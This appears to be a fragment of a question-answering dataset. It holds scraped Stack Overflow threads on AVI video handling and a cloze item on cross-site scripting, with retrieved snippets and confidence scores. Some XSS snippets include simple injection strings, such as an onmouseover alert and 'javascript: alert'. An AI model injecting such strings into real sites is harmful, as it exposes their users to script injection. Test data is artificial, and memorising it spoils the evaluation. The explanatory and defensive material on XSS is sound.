HTML specification doesn t specify any scripting languages for the script-element . The HTML specification doesn t specify any object formats for the object and embed elements . The HTML specification doesn t specify any audio formats for the audio element . Why should it specify one for the video element Comment : You re correct but not helpful .", "Question : When the directshow AVIMux is provided with two streams of data e.g . audio and video and one stream starts a bit before the other is there any way to control how the AVIMux behaves Namely if the AVIMux gets a few video frames before the audio starts it will actually omit the video frames from the output AVI . This contrasts with what it does when audio is missing at the end when it includes the video frames anyways . My sources for the audio and video are live streams commercial capture filters I can t really improve control and I d like to keep the video frames even though the audio starts a bit later . Is there a nice way to do this I can imagine wrapping the two filters into a custom filter with its own graph and inserting silence as necessary but it would be awesome to not have to go to all of that trouble . .. . Answer : tl dr - For my use-case a frame I process not being present in the final AVI is showstopper and the AVI mux demux process is complicated enough that I m better off just assuming some small number of frames may be dropped at the beginning . So I ll likely settle on pushing a number of special frames at the beginning identified with a GUID counter pair encoded in the pixels before I start processing frames . I can then look for these special frames after writing the AVI to identify the frame where processing begins is present . .. . .. . Everything I ve seen leads me to believe what I originally asked for is effectively not possible . Based on file size I think technically the video frames are written to the AVI file but for most intents they might as well not be . That is avi players like virtualdub and VLC and even the directshow AVI splitter ignore drop any video frames present before the audio starts . So I imagine you d have to parse the AVI file with some other library to extract the pre-audio frames . The reason I care about this is because I write a parallel data structure with an entry for each frame in the AVI file and I need to know which data goes with which frame . If frames are dropped from the AVI I can t match the frames and the data . I had success with creating custom transform filters after the video audio capture filters . These filters look at the timestamps and drop the video frames until an audio start time is established and the video frames are after that time . Then the filters downstream know that they can rely on the video frames they process being written . The drawback is that the audio filter actually delivers samples a bit delayed so when audio starts at 100ms I don t find out until I m already handling the video frame at 250ms meaning I ve dropped 250ms of video data to ensure I know when video frames will have accompanying audio . Combine that with different AVI tools behaving differently when video starts more than 1 video sample duration after the audio starts and my confidence in trying to control the AVIMux Splitter starts to wane . All of that leads me to just accept that the AVIMux and AVI Splitter are complicated enough to not make it worth trying to control them exactly .", "Question : null .. . Answer : I was wondering what is the proper way of encoding online mp4-stream to avi . I converted couple of streams but they won t work on my xbx360 but all other movies in .avi works no matter of the resolution video codec nor audio codec they just work . So what is the proper way to convert a stream to avi My current code looks like this : .. . .. . But that does not work on the xbox360 . I have tried different resolutions and pretty much everything it just doesn t work . Comment : And the other .avi files I tried their video-codecs are also MPEG-4 XVID", "Question : I ve found some examples of .AVI in html on the web . But my page http : pianocheater.com VIDEO.html is problematic . It s fine with chrome on my pc . In IE you get that dang bar at the top and then the videos are blank after that . It works on my pc but not others so I figured it d be codecs or something Here s the existing html.. . sorry note sure how to get pretty html in here .. . .. . I know that .AVI will keep mac people from seeing em . That s ok . My midi app doesn t have a mac version . I also know that .AVIs don t stream well . When I convert to .MOV or .WMV the audio lags terribly . And this is a midi app - sound is important . Any tips or ideas would be most appreciated : Comment : What stops Mac users from seeing videos in AVI containers Comment : I just read that somewhere . I thought quicktime was the default on a mac and it can t do .AVI I could very likely be wrong about that.. . Comment : My copy of Quicktime is perfectly capable of dealing with video in an AVI container . .. . Answer : This is done a lot easier in flash . Convert the video to FLV and use the open-source JW http : www.longtailvideo.com players jw-flv-player player to play it . You can convert the video using the open-source ffmpeg http : www.videohelp.com tools ffmpeg . There are a lot of free GUI front-ends to ffmpeg Comment : So ffmpeg will convert .AVI to .FLV with no audio lag And this JW is a .FLV player I can embed in html or somethin Well I ll start googlin .. . Comment : I found the Video4Web Converter - it may just be a gui on ffmpeg too . But it s pretty dang easy . And the .FLV audio doesn t lag : Still fighting with JW to get the dang video to display . That s probably just somethin I m doing wrong though . Thanks for your help I can t believe it s so painful to put up a dang video in html : o Comment : Ok I m not sure the route I took was the optimal one.. . But for future reference : bought BSR Screen Recorder 4 to capture my app in an .AVI got free Moyea Video4Web Converter to convert AVI to FLV a little lag during the recording and converting processes but not too bad got free flv-player.net players maxi http : flv-player.net players maxi which is a .swf that you embed in html that plays the .flv resulting in : pianocheater.com VIDEO.html http : pianocheater.com VIDEO.html 5D Comment : I m happy this worked out . It s a good tool .", "Question : I am wondering if the HTML5 video tag now supports playback of .avi format video files . Thanks . .. . Answer : The current HTML5 draft specification does not specify which video formats browsers should support in the video tag . User agents are free to support any video formats they feel are appropriate . http : en.wikipedia.org wiki HTML5 video Comment : @jQueryAngryBird : did you even read the answer HTML does not specify which codecs to use . You can use any codec you want . It s up to the user to install the appropriate codecs in their browser .", "Question : i m doing a project in java i m using jmf media package for the same.it plays mpg mp3 files but it can t play .avi files give me some hint . Comment : I agree with johnbk s answer . You probably missing a codec for it . Your program should write a message to to System.err with the format of the avi file if it cant play it . Can you post that error . .. . Answer : You might be missing the codec the file is encoded with..you can use any open-source tools like this http : mediainfo.sourceforge.net en to find out the codec that is missing . Comment : Thanks . I downloaded the software . The avi files are now playing but without an audio . An error is like this Unable to handle format : mpeglayer3 44100.0 Hz 0-bit Stereo Unsigned 2400 0.0 frame-rate FrameSize 8 bits", "Question : null .. . Answer : Does anyone know how to concatenate two or more AVI files manually which means by reading the files and writing the concatenated bytes to another one And without any third library like FFMPEG . The final purpose of this algorithm is to make an AVI stream with nodejs from multiple-files created on the fly on the server . But if you have an explanation without NodeJs it would help me to understand the structure of the AVI file . I almost managed to do it in NodeJs . First i write a faked header with Content-Type : video avi and no length specification and then i just concatenate the bytes from the multiple AVI files . It works and VLC can read the stream even though i forgot to remove the headers from the multiple AVI files . BUT the strange thing is that i need to cut the last bytes of each files and not the header so that VLC does not consider the file to be finished and keeps the connection opened till i add the next AVI chunk . And from time to time after 3 or 4 minutes of playing VLC stops reading my stream but there is no specific case that i can explain to you to reproduce this . Are there rules about the end bytes of an AVI file maybe the way i cut the end of my chunks can trigger the end of the reading sometimes I choose arbitrarily to cut the 1024 32 last bytes of each AVI file just because it works but i know it s not the best way Comment : Avi is just a container . There is no possible solution without reencoding if those input-avis are different somehow resolution number of audio-tracks and most important : different codecs.. . . So much more information is needed what exactly you want to concatenate and why you don t want to use ffmpeg . Comment : Thanks for your answer . I cannot use ffmpeg because it would require the video files to be created before i launch the command . ffmpeg needs the file to exist on the disk . I need to generate a video file on a server with files created on the fly and put them on a stream that is constantly read by a client . I know i could use playlist with name pipes and so on but it works only on mac and linux because windows cant handle that kind of files . Or do you know a simpler video format than AVI that i could easily manipulate byte per byte Comment : and to add some precisions i have control on the original AVI files so i can make them exactly with same duration and number of tracks and codecs . Only the content is different Comment : I don t think that is a good approach of yours but this https : trac.ffmpeg.org wiki Concatenate might help . If you stick to transport-streams you can byte-wise append . Look at the Concat protocol . This could be done without ffmpeg . Comment : Have you had a look at fluent ffmpeg https : github.com fluent-ffmpeg node-fluent-ffmpeg You can pass streams to it from nodejs and run ffmpeg commands on the streams - so in theory you could read the avi files into stream objs and just pass the streams to fluent ffmpeg without writing them to disk .", "Question : null .. . Answer : I am busy with a movie video-clip player library . I want to do this in JavafX . Almost 90 of the video clips is in AVI format . I cannot for several reasons covert the movies video-clips . I also want the program to mark the video files that were played from start to complete so that I will know what have been watched . So the program needs to be able to interact with the video-player to know when the video has played to the end . JavafX doesn t allow playback for AVI files . What s the alternative to be able to use this with And how will I know if the video has fully played from beginning to end . I read the following Adding other video-codecs DVD support to JavaFX 2.2 http : stackoverflow.com questions 8153227 adding-other-video-codecs-dvd-support-to-javafx-2-2 .. . .. . Where they suggest I use portable VLC player . Is this the best way to use it in JavafX and if possible does the API have register hooks to register a method that can be triggered to know when the video has stopped Comment : What type of video and audio codecs are in these AVI files Many codecs or are they consistent throughout the corpus Comment : There might a few but it would be only a handful . I downloaded GSpot to give specific names And this seems to be the norm codec seems to be XVid a few AVC1 but I would be more than happy I can just get the XVid ones to work . Comment : @Chrispie If you want to compile additional gstreamer plugins into JFX this is relatively involved but not impossible : berry120.blogspot.co.uk 2014 03 http : berry120.blogspot.co.uk 2014 03 expanding-javafxs-media-support.html Comment : @berry120 Thanks a lot . This is what I was looking for . I will check it out and let you know how it went :", "Question : I have done very little with c++ so bare with me . I want to read in an .avi video file for a program that I am making . I have the file location saved as a string . Is there any good tutorials on using .avi files in c++ or does anyone know who to read one in Is it the same as normal files Thanks for the help . I am looking online but every post I find is an unanswered question . Edit As requested here is a little explanation . I have a previously asked SO question http : stackoverflow.com questions 5821707 cropping-a-video-file-with-defined-width-length-and-pixel-location that goes into better detail but here is what I want to do : .. . .. . I am making a program that will detect faces though OpenCV As of now I have been given a video processor program that will detect each face on a frame and return the frame as a image and the CvRec of the faces . I want to take these faces and test them to validate that they are all actually faces . After I have all the faces tested I want to then take the images and test them together . I test the faces on each frame for size and distance changes . If the faces pass this for a frame length of two seconds then I want to crop the face and make it the subject of each frame . After each frame is cropped I then want to save the new video file for the user . Hopefully that helps . If anyone needs a better explanation please let me know . Comment : What do you want to do with the AVI file You might want to have a look at FFmpeg : ffmpeg.org http : ffmpeg.org I also see an OpenCV tag . Could you give us a bit more of an explanation what you re trying to do Comment : Use fread to read any file in you want even .avi files : Comment : Or ifstream which is more C++y than fread but both work just as well as the other . If you want video frames you will need something that can parse AVI files and decode the compressed frames like ffmpeg libavfile libavcodec as suggested above . Comment : @Bart - Check the edit for an explanation of the program Comment : So you have a program that based on a video gives you a set of images . And once you re done with those images you want to make them into a new video file .. . Answer : First of all a little background . What is AVI .. . AVI stands for Audio Video Interleave . It is a special case of the RIFF Resource Interchange File Format . AVI is defined by Microsoft and it is the most common format for audio video data . I assume you would want to read a avi file and decode the compressed video frames . AVI file is just like any other normal file and you can use fread in C or iostream in C++ to open an avi file and read it contents . But the contents of an avi file are video frames in a compressed format . The compression allows video content of bigger sizes to be efficiently packed in less memory space.To make any sense of this compressed data you would have to decode the encoded data format.You will have to study the standard which describes how AVI encoding is done and then extract and decode the frames . this raw video data now when fed to a video device will be displayed in video format . Comment : Explained this very well . Kudos .", "Question : How to play .avi and .mov video formats in html We are developing the website where the videos can be uploaded using html5 videos uploaded are of .ogg .mp4 .webm . We have native android and ios applicaitons where the videos can be uploaded of .mov and .avi formats . Our application should be able to play the videos of .mov and .avi formats . Request you to please let us know on how to display .mov .avi formats without any conversion in server-side . Comment : .mov and .avi are not supported by the HTML5 video tag so you will have to convert them or use a plug-in such as Flash .. . Answer : .avi files can contain video encoded using any codec but in practice they contain video encoded using the old xvid divx codecs . HTML5 supports the x264 and vp8 vp9 codecs . Flash supports the x264 and the old sorenson codecs . xvid divx cannot easily be converted to any of these codecs withouth transocing the hole stream . So there is not quick and easy client-side solution . As a server-side solution for converting .avi to .mp4 avconv and ffmpeg are very popular widely sued and free . And of course there is a multitude of commercial solutions too .", "Question : Can anyone tell me where metadata is stored in common video file formats And if it would be located towards the start of the file or scattered throughout . I m working with a remote object store containing a lot of video files and I want to extract metadata in particular video duration and video dimensions from those files without streaming the entire file contents to the local machine . I m hoping that this metadata will be stored in the first X bytes of files and so I can just fetch a byte range starting at the beginning instead of the whole file passing this partial file data to ffprobe . For testing purposes I created a 22MB MP4 file and used the following command to supply only the first 1MB of data to ffprobe : .. . .. . It prints : .. . .. . So I see the first 1MB was enough to extract video duration 9.84 seconds and video dimensions 1920x1080 even though ffprobe printed the warning about detecting a partial file . If I supply less than 1MB it fails completely . Would this approach work for other common video file formats to reliably extract metadata or do any common formats scatter metadata throughout the file I m aware of the concept of container formats and that various codecs may be used represent the audio video data inside those containers . I m not familiar with the details though . So I guess the question may apply to common combinations of containers + codecs Thanks in advance . .. . Answer : Okay to answer my own question after a lot of digging through the specs for MP4 3GP and AVI.. . .. . .. . AVI .. . .. . Metadata is at the start of AVI files according to the AVI file-format specification http : msdn.microsoft.com en-us library windows desktop dd318189 28v vs.85 29.aspx . Video duration is not stored verbatim in AVI files but is calculated in microseconds as dwMicroSecPerFrame x dwTotalFrames . Reading between the lines of the spec it seems that many items of metadata can be read directly from offsets within AVI files without parsing at all . But the spec does not mention these offsets explicitly so using this rule of thumb could be risky . Offset 32 : dwMicroSecPerFrame offset 48 : dwTotalFrames offset 64 : dwWidth offset 68 : dwHeight . So for AVI it is possible to extract this metadata with only the first X bytes of the file . MP4 3GP 3GPP 3G2 3GPP2 .. . .. . All of these file formats are based on the ISO base media file-format http : en.wikipedia.org wiki ISO base media file-format known as ISO IEC 14496-12 MPEG-4 Part 12 . This format allows metadata to be stored anywhere in the file but in practice it will be either at the start or the end because the raw captured audio video data is saved contiguously in the middle . An exception however would be fragmented MP4 files which are rare https : groups.google.com forum searchin mp4parser-discussion fragmented mp4parser-discussion e7yg6clATHc MipLFIxtqloJ . Only files with the metadata stored at the start can be played via progressive-download http : en.wikipedia.org wiki Progressive download but it is up to the capture device or decoder to support this . AFAICT this means that to extract metadata from these files only the first X bytes of the file would be required and from that information it could be determined that potentially also the last X bytes would be required . But bytes in the middle would not be required .", "Question : null .. . Answer : I am trying to swap the order of 2 audio tracks of an AVI file using ffmpeg . This works but the file is being re-encoded not copied . It takes much longer than a straight copy to finish and the resulting file is larger than the original . Is there any way to edit just the track data of an AVI file like mkvpropedit does with MKV files Command line tool preferred . .. . .. . infile.avi 474 MB .. . .. . outfile.avi 476.2 MB Comment : ffmpeg should be copying the streams not re-encoding it . Show the console output of the command . Comment : OK I added it to the question since it is too long for a comment . Comment : It is copying not re-encoding . And looks like it takes about 35 seconds which is because it has to reconstruct all streams in the new AVI . You re going to be very disappointed with the time taken if you actually re-encoded this file . Comment : OK it does say copy for all streams and it takes 34.6 sec . Re-encoding would take longer for a file this size . In fact it did : ffmpeg -i infile.avi -map 0 : 0 -map 0 : 2 -map 0 : 1 outfile.avi 275.5 sec . 4.6 min . outfile.avi 165.2 MB garbage quality Same output file size : ffmpeg -i infile.avi -map 0 : 0 -map 0 : 2 -map 0 : 1 -c : v mpeg4 -vtag xvid -qscale : v 3 -c : a copy outfile.qscale 3.avi 77 sec . outfile.avi 475.6 MB But still a tool like mkvpropedit takes a second to edit just the header data to do the same thing . Is that possible with the AVI container Comment : Not that I know of . In any case you don t want to edit the header data . You wish to swap tracks . This is different than setting default or enabled flag for tracks what MKV allows .", "Question : I ve found some examples of .AVI in html on the web . But my page http : pianocheater.com VIDEO.html is problematic . It s fine with chrome on my pc . In IE you get that dang bar at the top and then the videos are blank after that . It works on my pc but not others so I figured it d be codecs or something Here s the existing html.. . sorry note sure how to get pretty html in here .. . .. . I know that .AVI will keep mac people from seeing em . That s ok . My midi app doesn t have a mac version . I also know that .AVIs don t stream well . When I convert to .MOV or .WMV the audio lags terribly . And this is a midi app - sound is important . Any tips or ideas would be most appreciated : Comment : What stops Mac users from seeing videos in AVI containers Comment : I just read that somewhere . I thought quicktime was the default on a mac and it can t do .AVI I could very likely be wrong about that.. . Comment : My copy of Quicktime is perfectly capable of dealing with video in an AVI container . .. . Answer : Have you tried just using by itself but you might be better off just using YouTube or something similar . Comment : I don t think that ll work for non internet-explorer browsers.. . Comment : Seems to work fine for my firefox under ubuntu but I haven t tried anything else .", "Question : So I m building a web application and in part of the application the user should choose an XviD .avi video file from his machine to be played in the browser without uploading it . I decided to use Flash for this . Now I have two questions about this : .. . .. . Which Flash video-player is free to use and capable of doing this How should I let the user choose a video file and how can I link the Flash video-player to the file Comment : duplicate : stackoverflow.com questions 5958141 http : stackoverflow.com questions 5958141 play-local-video-from-web-browser .. . Answer : I think you can t . The Flash plugin don t have enough privileges to access the user s local file system . Comment : How about using the JavaScript window.URL.createObjectURL developer.mozilla.org en DOM window.URL.createObjectURL https : developer.mozilla.org en DOM window.URL.createObjectURL I know this makes it possible to do the same thing with the HTML5 video tag except that the HTML5 video tag can t play XviD video files . Comment : Never used it so I cant t say . But it s worth a try Comment : Flash Player has some file system access so a user could select a local file for use . But Flash can t play XviD or .avi files so what Cokegod wants to do can t be done with Flash anyway .", "Question : The following is a hex-ascii dump of the first 300 bytes of an avi xvid file : .. . .. . In this particular case I know that the video has a frame-rate of 25 frames per second . How can I use this dump to obtain the frame-rate Note it is straightforward to obtain the frame-rate for an avi msvc video file since the data structure is well documented . However I have yet to find any document that defines the data structure for an avi xvid file . .. . Answer : The following is an improved version IMHO of my previous answer . This code finds 5 key features of AVI files .", "Question : The following is a hex-ascii dump of the first 300 bytes of an avi xvid file : .. . .. . In this particular case I know that the video has a frame-rate of 25 frames per second . How can I use this dump to obtain the frame-rate Note it is straightforward to obtain the frame-rate for an avi msvc video file since the data structure is well documented . However I have yet to find any document that defines the data structure for an avi xvid file . .. . Answer : The following Python script Python 2.7 Windows Vista-32 bit can be used to extract the time between frames from AVI files and in turn the frame-rate ." ] }
[ "yes-answer-long", "yes-answer-short" ]
video
UNK_RELATION
xss@web-applications@97
xss -- cross-site scripting xss is a type of computer security vulnerability typically found in @placeholder that enables malicious attackers to inject client-side script into web pages viewed by other users .
{ "confidence": [ 103.24700164794922, 84.88567352294922, 82.13126373291016, 55.0939826965332, 53.933685302734375, 52.971954345703125, 52.5272102355957, 51.654075622558594, 50.500579833984375, 49.0401496887207, 48.60459899902344, 48.36109161376953, 48.1948356628418, 48.180091857910156, 48.180091857910156, 47.3216667175293, 47.14928436279297, 46.885643005371094, 46.52864456176758, 45.33789825439453, 45.05601501464844, 44.929046630859375, 44.51435852050781, 44.10814666748047, 43.80583190917969, 43.68091583251953, 43.654296875, 43.65113067626953, 43.637001037597656, 43.637001037597656, 43.409759521484375, 43.2906494140625, 43.26856994628906, 43.249813079833984, 43.067012786865234, 41.99422073364258, 41.99422073364258, 41.97214126586914, 41.97214126586914, 41.723731994628906, 41.65785217285156, 41.39012145996094, 41.2371711730957, 41.066314697265625, 40.66191864013672, 40.490379333496094, 40.43524932861328, 40.39984893798828, 40.041194915771484, 39.7546501159668, 39.44784164428711, 39.44367218017578, 39.416587829589844, 39.407958984375, 39.329254150390625, 39.263545989990234, 39.09035110473633, 38.978389739990234, 38.97795104980469, 38.722110748291016, 38.480003356933594, 38.370574951171875, 38.26921081542969, 38.264034271240234, 38.19877624511719, 38.14724349975586, 38.117889404296875, 37.77653884887695, 37.749996185302734, 37.68195724487305, 37.31143569946289, 36.930973052978516, 36.85767364501953, 36.753562927246094, 36.68741226196289, 36.65702819824219, 36.28718185424805, 36.256378173828125, 36.25168228149414, 36.229644775390625, 36.14961624145508, 36.14961624145508, 36.14961624145508, 36.076255798339844, 35.83443069458008, 35.79109573364258, 35.77589797973633, 35.633602142333984, 35.525718688964844, 35.476654052734375, 35.285362243652344, 35.25584030151367, 35.24047088623047, 35.1796760559082, 35.16481399536133, 35.091224670410156, 35.08182907104492 ], "content": [ "Cross-site scripting XSS is a type of computer security vulnerability typically found in web-applications which enable malicious attackers to inject client-side script into web pages viewed by other users .", "XSS enables attackers to inject client-side scripts into web pages viewed by other users .", "In WikiText .. . .. . Cross-site scripting XSS is a type of computer security vulnerability typically found in web-applications .", "Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link-to inject unwanted executable JavaScript into a Web site .", "Cross-frame scripting https : www.owasp.org index.php Cross Frame Scripting is a method of exploiting a Cross-site scripting XSS vulnerability .", "xss when you inject script onto the legitimate pages site", "At this link : http : www.acunetix.com websitesecurity cross-site-scripting under The Theory of XSS it says : the hacker infects a legitimate web page with his malicious client-side script .", "See : .. . .. . Cross Site Scripting XSS vulnerability on Fuseki 2.3.1 https : issues.apache.org jira browse JENA-1123", "XSS is a security vulnerability so you definitely don t want XSS to work .", "Hi I am working on XSS cross site scripting issue .", "XSS is cross site scripting i.e .", "I find an XSS vulnerability on a page on that site .. . 3 .", "It is indeed a XSS vulnerability .", "For example : .. . .. . From the above example is it vulnerable to Cross-site scripting XSS attack", "Same question is it vulnerable to Cross-site scripting XSS attack", "If you have an XSS vulnerability on your web site then a hacker can insert any HTML into the page including a script-tag .", "you may understand that the XSS Cross Site Scripting bell rings here.. .", "A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy .", "The two biggest concerns are when it is used in conjunction with cross-site scripting XSS and cross-site request forgery CSRF .", "Unfortunately the script does not run because of the no nonsense XSS cross-site scripting doing a great job .", "XSS - .. . .. . Vulnerability caused when the web-site places the trust on the user and does not filter the user-input .", "If the reason of the question is for XSS http : en.wikipedia.org wiki Cross-site scripting prevention there are several ways to explode a XSS vulnerability .", "You need to clean this HTML to avoid cross-site scripting http : en.wikipedia.org wiki Cross-site scripting XSS attacks .", "http : www.unixpearls.com how-to-block-xss-vulnerability-cross-site-scripting-in-apache-2-2-x .. . .. . EDIT Its solved by adding the header response .", "I find an xss vulnerability on a high traffic site .. . 3 .", "There are a few additional vectors to be considered.. . including the third flavor of XSS called DOM-based XSS wherein the malicious script is generated dynamically on the client e.g .", "This is one way that cross-site scripting XSS attacks http : en.wikipedia.org wiki Cross-site scripting work : .. . .. . 1 .", "An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same-origin-policy .", "Check out the OWASP XSS Cross Site Scripting Prevention Cheat Sheet https : www.owasp.org index.php XSS Cross Site Scripting Prevention Cheat Sheet for tips on how to prevent XSS .", "Anti-XSS uses the white-listing technique sometimes referred to as the principle of inclusions to provide protection against Cross-Site Scripting XSS attacks .", "If your web application has been tested and found to be immune to XSS vulnerabilities then Cross-frame scripting is not a concern .", "How do I prevent XSS cross-site scripting using just HTML and PHP", "My question is - why is it marked as a potential XSS vulnerability", "As such you can have both Reflected Client XSS and Stored Client XSS .", "What is a clear explanation of the difference between server XSS http : en.wikipedia.org wiki Cross-site scripting and client XSS", "If the website has as described a cross site scripting XSS then the attacker can craft a url with a fixation attack .", "According to www.mcafeesecure.com General Solution for vulnerable to cross-site scripting XSS filter function can be :", "That is a very good point about the XSS vulnerability .", "I find google has an xss vulnerability .. . 2 .", "XSS only occurs when you insert malicious content into a Web page .", "Read the OWASP page on Cross-site Scripting XSS https : www.owasp.org index.php Cross-site Scripting 28XSS 29 for more information but basically a page is vulnerable to XSS if it is not correctly encoding output from untrusted sources .", "Unlike the standard XSS attacks which rely on dynamic web pages a DOM-based XSS attack does not require sending any malicious code to the server and thus can also use static HTML pages .", "I ve always heard XSS discussed as a security issue are there legitimate uses for XSS", "Cross Frame Scripting isn t a real web vulnerability .", "This is not safe because a user can have his her name to be .. . .. . script script alert bug script script .. . .. . It is XSS vulnerability .", "Our scanning tool is reporting a XSS vulnerability on ros.write : Improper Neutralization of Script-Related HTML Tags in a Web Page .", "So entering script alert xss script into a image URL field will yield : .. . .. . But entering javascript : alert xss will succeed : .. . .. . Here you should take a look at the fabulous XSS Cross Site Scripting Cheat Sheet http : ha.ckers.org xss.html to see what contexts your user data can be injected in .", "You can test for XSS attacks but your web server is responsible for this now : owasp.org index.php Cross-site Scripting XSS https : www.owasp.org index.php Cross-site Scripting XSS", "Cross-Origin Resource Sharing or CORS isn t the same as XSS BUT but if a web application had an XSS vulnerability then an attacker would have CORS-like access to all resources on that domain .", "Take Two : Looking around Microsoft have recently released a white-list based Anti-XSS Library V3.0 check that out : .. . .. . The Microsoft Anti-Cross Site Scripting Library V3.0 Anti-XSS V3.0 is an encoding library designed to help developers protect their ASP.NET web-based applications from XSS attacks .", "So unless you have another XSS hole to inject such a form this vulnerability cannot be exploited .", "Now the 404 page has the following meta tag .. . .. . Is this a potential XSS vulnerability", "This could contain malicious code that could be used for XSS .", "What are the types of categories of attacks that can be handled during coding or in code like sql-injection and cross-site scripting XSS in a web app or native app", "Is it trying to add xss to my site", "XSS .. . .. .", ".. . Client XSS .. . .. . Client XSS occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call .", "I m working with Apache Fuseki 2.3.1 . on Linux RedHat as a standalone server : .. . .. . The safety tests team has raised an anomaly of Cross Site Scripting XSS .", "Client side input validation does not block XSS attacks .", "Start reading about XSS here : http : en.wikipedia.org wiki XSS and http : en.wikipedia.org wiki Cross-site scripting", "The form that XSS attacks usually have is to insert a link-to some off-site javascript that contains malicious intent for the user .", "From what I understand this enables cross site scripting in jQuery .", "I did find a detailed analysis of AngularJS XSS vulnerability : https : code.google.com p mustache-security wiki AngularJS .", "by means of Cross-site scripting XSS http : en.wikipedia.org wiki Cross-site scripting indeed and triggered the log entry error at some point in turn .", "It s easy enough to map this onto a standard Java Filter : codehustler.org http : codehustler.org jersey-cross-site-scripting-xss-filter-for-java-web-apps", "I m not even sure what the XSS vulnerability this answer is supposed to defend against is .", "Managing XSS requires multiple validations data from the client-side .", "This redefines XSS into two categories : Server and Client .", "I agree that allowing XSS is a security flaw in IE .", "That s what I did http : stackoverflow.com questions 24723 best-regex-to-catch-xss-cross-site-scripting-attack-in-java", "I have a show route that displays the contents of my article .. . .. . Controller : .. . .. . View : .. . .. . When running Brakeman it flags the above as a potential Cross-Site Scripting XSS vulnerability .. . .. . I m trying to figure out what XSS really is and what makes this vulnerable", "Posting to third party site .. . .. . That s not an XSS attack .", "As a side note XSS is useful to attackers because it allows them to bypass the Same Origin Policy .", "Most XSS vulnerabilities any type of vulnerability actually are based purely on the fact that existing security did not expect certain things to happen .", "This is considered bad practice and opens any application to multiple breaches for things such as Cross-site-scripting XSS Host Header Attacks modifying the Host header within an HTTP request to perform malicious behavior .", "It would be very very unusual if the jQuery core had an XSS vulnerability but it is possible and its called DOM-based XSS https : www.owasp.org index.php DOM Based XSS .", "If it s a script language it s XSS-prone .", "By using this tag to display outputs you are able to mitigate majority of the XSS vulnerability .", "I have a learning xss site - which is certainly vulnerable to xss to check my code on .", "An XSS vulnerability exists whenever a string from outside your application can be interpreted as code .", "stackoverflow.com questions tagged xss http : stackoverflow.com questions tagged xss", "This question is about XSS and request forgery has nothing to do with XSS .", "As such you can have both Reflected Server XSS and Stored Server XSS .", "That is not XSS .", "an xss attack is where you inject javascript onto the legitimate sites website .", "This may include XSS cross site scripting SQL Injection attacks plain old DDOS or phishing attempts on your site s customers .", "In the report I found a issue related to XSS .", "This is persistent XSS .", "This type of XSS is called reflective and non-persistent .", "Do you mean Cross-site scripting", "I worried about the cross-site-scripting XSS security of my app as I am enabling addJavascriptInterface true .", "if you are unfamiliar with extremely common web application vulnerability like XSS make sure to read the OWASP top 10 .", "Im testing a web application I can get buttons is other xss but no alert message .", "I am developing an application in Cakephp and one of my friends told me about the Cross-site request forgery CSRF and cross-site scripting XSS attacks etc .", "XSS .. . .. . JSF is designed to have builtin XSS prevention .", "Other information The X XSS Protection HTTP response header allows the web server to enable or disable the web browser s XSS protection mechanism .", "But this is also XSS filtered ." ] }
{ "confidence": [ 137.21372985839844, 117.73875427246094, 115.15838623046875, 112.01396179199219, 102.93577575683594, 92.33103942871094, 82.24638366699219, 76.12570190429688, 74.81324768066406, 73.02127075195312, 70.27922058105469, 69.16580963134766, 67.98129272460938, 67.19719696044922, 66.79182434082031, 66.34681701660156, 65.55557250976562, 65.00994110107422, 64.29828643798828, 62.7736930847168 ], "content": [ "Question : Can someone explain how XSS works in plain english Maybe with an example . Googling didn t help much . Comment : Do you mean Cross-site scripting .. . Answer : In Simple English .. . .. . XSS is when you insert scripts meaning JavaScript code into webpages so that the browser executes the code . This is malicious because it can be used to steal cookies and any other data on the page . For example : .. . .. . The HTML of a search-box : input value search value here .. . .. . Now if you insert onmouseover alert 1 the final HTML would be input value onmouseover alert 1 When the mouse is passed over the search-box the alert will be executed . In WikiText .. . .. . Cross-site scripting XSS is a type of computer security vulnerability typically found in web-applications . XSS enables attackers to inject client-side scripts into web pages viewed by other users . A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy .", "Question : Cross-site scripting XSS is a type of computer security vulnerability typically found in web-applications which enable malicious attackers to inject client-side script into web pages viewed by other users . An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same-origin-policy . Cross-site scripting carried out on websites were roughly 80 of all security vulnerabilities documented by Symantec as of 2007 . Okay so does this mean that a hacker crafts some malicious JS VBscript and delivers it to the unsuspecting victim when visiting a legitimate site which has unescaped inputs I mean I know how SQL injection is done... . I particularly don t understand how JS VBscript can cause so much damage I thoguht they are only run within browsers but apparently the damage ranges from keylogging to cookie stealing and trojans http : en.wikipedia.org wiki BeEF 28Browser Exploitation Framework 29 . Is my understanding of XSS correct if not can someone clarify How can I prevent XSS from happening on my websites This seems important 80 of security vulnerabilities means that it s an extremely common method to compromise computers . .. . Answer : Imagine a web forum . An XSS attack could be that I make a post with some javascript . When you browse to the page your webpage will load and run the js and do what I say . As you have browsed to the page and most likely are logged in my javascript will do anything you have privileges to do such as make a post delete your posts insert spam show a popup etc . So the real concept with XSS is the script executes in your user context which is a privilege escalation . You need to be careful that anywhere in your app that receives user input escapes any scripts etc . inside it to ensure that an XSS can t be done . You have to watch out for secondary attacks . Imagine if I put malicious script into my username . That might go into the website unchecked and then written back out unchecked but then any page that is viewed with my username on it would actually execute malicious script in your user context . Escape user input . Don t roll your on code to do this . Check everything going in and everything coming out .", "Question : Cross-site scripting XSS is a type of computer security vulnerability typically found in web-applications which enable malicious attackers to inject client-side script into web pages viewed by other users . An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same-origin-policy . Cross-site scripting carried out on websites were roughly 80 of all security vulnerabilities documented by Symantec as of 2007 . Okay so does this mean that a hacker crafts some malicious JS VBscript and delivers it to the unsuspecting victim when visiting a legitimate site which has unescaped inputs I mean I know how SQL injection is done... . I particularly don t understand how JS VBscript can cause so much damage I thoguht they are only run within browsers but apparently the damage ranges from keylogging to cookie stealing and trojans http : en.wikipedia.org wiki BeEF 28Browser Exploitation Framework 29 . Is my understanding of XSS correct if not can someone clarify How can I prevent XSS from happening on my websites This seems important 80 of security vulnerabilities means that it s an extremely common method to compromise computers . .. . Answer : The XSS attacks issues are more fishing related . The problem is that a site that a customer trusts might be injected with code that leads to site made by the attacker for certain purpose . Stealing sensitive information for example . So in XSS attacks the intruded do not get into your database and don t mess with it . He is playing with the sense in the customer that this site is safe and every link on it is pointing to a safe location . This is just the first step of the real attack - to bring the customer in the hostile environment . I can give you a brief example . If a bank institution puts a shoutbox on their page 